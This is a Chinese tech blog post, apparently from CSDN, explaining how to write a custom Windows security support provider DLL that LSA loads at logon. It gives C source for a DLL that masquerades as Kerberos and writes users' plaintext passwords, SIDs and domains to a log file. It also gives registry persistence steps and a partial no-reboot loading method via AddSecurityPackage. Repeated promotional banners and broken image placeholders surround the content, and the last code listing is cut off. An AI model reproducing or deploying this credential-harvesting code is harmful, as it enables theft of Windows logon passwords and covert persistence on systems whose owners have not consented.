网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
SpShutDown
SpShutDown 函数在卸载安全支持提供程序/身份验证包 (SSP/AP) 之前,由本地安全机构(LSA)调用,用于在卸载 SSP/AP 之前执行所需的任何清理,以便释放资源。
函数声明如下:
NTSTATUS SpShutDown(void);
这个函数没有参数。
SpGetInfo
SpGetInfo 函数提供有关安全包的一般信息,例如其名称和功能描述。客户端调用安全支持提供程序接口(SSPI)的 QuerySecurityPackageInfo 函数时,将调用 SpGetInfo 函数。
函数声明如下:
NTSTATUS Spgetinfofn(
[out] PSecPkgInfo PackageInfo
);
参数如下:
- • [out] PackageInfo:指向由本地安全机构(LSA)分配的 SecPkgInfo 结构的指针,必须由包填充。
SpAcceptCredentials
SpAcceptCredentials 函数由本地安全机构(LSA)调用,以将为经过身份验证的安全主体存储的任何凭据传递给安全包。为 LSA 存储的每组凭据调用一次此函数。
函数声明如下:
NTSTATUS Spacceptcredentialsfn(
[in] SECURITY_LOGON_TYPE LogonType,
[in] PUNICODE_STRING AccountName,
[in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
[in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
);
参数如下:
- • [in] LogonType:指示登录类型的
SECURITY_LOGON_TYPE
值。 - • [in] AccountName:指向存储登录帐户名称的
UNICODE_STRING
结构的指针。 - • [in] PrimaryCredentials:指向包含登录凭据的
SECPKG_PRIMARY_CRED
结构的指针。 - • [in] SupplementalCredentials:指向包含特定于包的补充凭据的
ECPKG_SUPPLEMENTAL_CRED
结构的指针。
2. 编程实现
通过 C/C++ 创建一个名为 CustSSP 的 DLL 项目,实现自定义 SSP/AP 包。由于篇幅限制,笔者仅提供关键代码部分。
#include "pch.h"
static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
_SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpShutDown(void)
{
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = (SEC_WCHAR*)L"Kerberos";
PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
const wchar_t* LSA_LOGON_TYPE[] = {
L"UndefinedLogonType",
L"Unknown !",
L"Interactive",
L"Network",
L"Batch",
L"Service",
L"Proxy",
L"Unlock",
L"NetworkCleartext",
L"NewCredentials",
L"RemoteInteractive",
L"CachedInteractive",
L"CachedRemoteInteractive",
L"CachedUnlock",
};
FILE* logfile;
if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0)
{
SspLog(
logfile,
L">>>>=================================================================\n"
L"[+] Authentication Id : %u:%u (%08x:%08x)\n"
L"[+] Logon Type : %s\n"
L"[+] User Name : %wZ\n"
L"[+] Domain : %wZ\n"
L"[+] Logon Server : %wZ\n"
L"[+] SID : %s\n"
L"[+] SSP Credential : \n"
L"\t* UserName : %wZ\n"
L"\t* Domain : %wZ\n"
L"\t* Password : ",
PrimaryCredentials->LogonId.HighPart,
PrimaryCredentials->LogonId.LowPart,
PrimaryCredentials->LogonId.HighPart,
PrimaryCredentials->LogonId.LowPart,
LSA_LOGON_TYPE[LogonType],
AccountName,
&PrimaryCredentials->DomainName,
&PrimaryCredentials->LogonServer,
SidToString(PrimaryCredentials->UserSid),
&PrimaryCredentials->DownlevelName,
&PrimaryCredentials->DomainName
);
SspLogPassword(logfile, &PrimaryCredentials->Password);
SspLog(logfile, L"\n");
fclose(logfile);
}
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)
{
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecPkgFunctionTable;
*pcTables = ARRAYSIZE(SecPkgFunctionTable);
return STATUS_SUCCESS;
}
在 CustSSP 中,我们依次实现了 SpInitialize、SpShutDown、SpGetInfo 和 SpAcceptCredentials 函数,并定义了一个名为 SecPkgFunctionTable
的 SECPKG_FUNCTION_TABLE
结构,用于存储指向这些函数的指针。
之后,我们通过定义 .def 文件将 CustSSP 中定义的 SpLsaModeInitialize
函数导出,如下所示。该函数会被本地安全机构(LSA)调用一次,从而将 CustSSP 中实现的函数的指针提供给 LSA。
LIBRARY
EXPORTS
SpLsaModeInitialize = _SpLsaModeInitialize
3. 运行效果演示
将编译生成的 CustSSP.dll 置于 C:\Windows\System32 目录中,并将 “CustSSP” 添加到以下注册表值的数据中,如下图所示。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
通常,SSP/AP DLL 存储在 %SystemRoot%/System32 目录中。如果这是自定义 SSP/AP DLL 的路径,则不包括路径作为 DLL 名称的一部分。但是,如果 DLL 位于其他路径中,请在名称中包含 DLL 的完整路径。
当目标主机重新启动并进行交互式身份验证后,将在 C:\Windows\System32\CustSSP.log 中记录当前登录用户的明文密码,如下图所示。
成功利用该方法的条件是必须重新启动目标系统。因此只有启动计算机系统后,本地安全机构(LSA)才会自动将已注册的 SSP/AP 的 DLL 加载到其进程空间中。
然而,利用某些 Windows API,我们可以在不重启的情况下添加 SSP/AP。
4. 利用 AddSecurityPackage API 来加载 SSP/AP
AddSecurityPackage 是一个 SSPI 函数,用于将安全支持提供程序添加到提供程序列表中,该函数声明如下。
SECURITY_STATUS SEC_ENTRY AddSecurityPackageW(
[in] LPSTR pszPackageName,
[in] PSECURITY_PACKAGE_OPTIONS pOptions
);
参数如下:
- • [in] pszPackageName:要添加的包的名称。
- • [in] pOptions:指向
SECURITY_PACKAGE_OPTIONS
结构的指针,该结构指定有关安全包的其他信息。
通过 C/C++ 创建一个名为 AddSSP 的项目,其代码如下所示。
#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
![img](https://img-blog.csdnimg.cn/img_convert/93d3cbbe9f0b407189047ee9a57c8e86.png)
![img](https://img-blog.csdnimg.cn/img_convert/1dc73460af0884de44f1529e831cef3a.png)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618636735)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
(img-0TXcXF1G-1715621058406)]
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618636735)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**